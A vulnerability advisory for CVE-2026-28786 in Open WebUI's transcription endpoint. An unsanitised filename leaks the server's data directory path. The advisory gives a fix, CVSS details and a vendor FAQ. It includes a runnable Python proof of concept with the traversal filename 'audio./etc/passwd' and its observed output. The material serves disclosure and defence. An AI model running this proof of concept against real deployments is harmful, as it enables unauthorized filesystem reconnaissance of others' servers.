CVE-2026-28786

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message, including the server's absolute DATA_DIR path, is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

Details

backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():

ext       = file.filename.split(".")[-1]       # attacker-controlled, no sanitisation
filename  = f"{id}.{ext}"                      # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
    f.write(contents)

If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:

{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd

open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:

# files.py:244
filename = os.path.basename(file.filename)

# pipelines.py:206
filename = os.path.basename(file.filename)

Recommended fix, match the existing pattern and suppress path leakage in errors:

# audio.py:1197, sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"

# audio.py:1231, suppress internal path in error response
except Exception as e:
    log.exception(e)
    raise HTTPException(status_code=400, detail="Transcription failed.")

PoC

Requirements: a running Open WebUI instance and one standard (non-admin) user account.

docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requests

import requests, sys

BASE_URL = "http://localhost:3000"
EMAIL    = "[email protected]"
PASSWORD = "changeme"

token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
                      json={"email": EMAIL, "password": PASSWORD},
                      timeout=10).json()["token"]

boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
    f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
    f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post(
    f"{BASE_URL}/api/v1/audio/transcriptions",
    data=body,
    headers={"Authorization": f"Bearer {token}",
             "Content-Type": f"multipart/form-data; boundary={boundary}"},
    timeout=15,
)
print(resp.status_code, resp.text)

Observed output (live test, commit b8112d72b):

400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}

The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.

Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.

Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user, the lowest privilege tier, so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.

AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-28786 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-28786? CVE-2026-28786 is a medium-severity path traversal vulnerability in open-webui (pip), affecting versions < 0.8.6. It is fixed in 0.8.6. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-28786? CVE-2026-28786 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-28786? open-webui (pip) versions < 0.8.6 is affected.
4. Is there a fix for CVE-2026-28786? Yes. CVE-2026-28786 is fixed in 0.8.6. Upgrade to this version or later.
5. Is CVE-2026-28786 exploitable, and should I be worried? Whether CVE-2026-28786 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28786 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28786? Upgrade open-webui to 0.8.6 or later.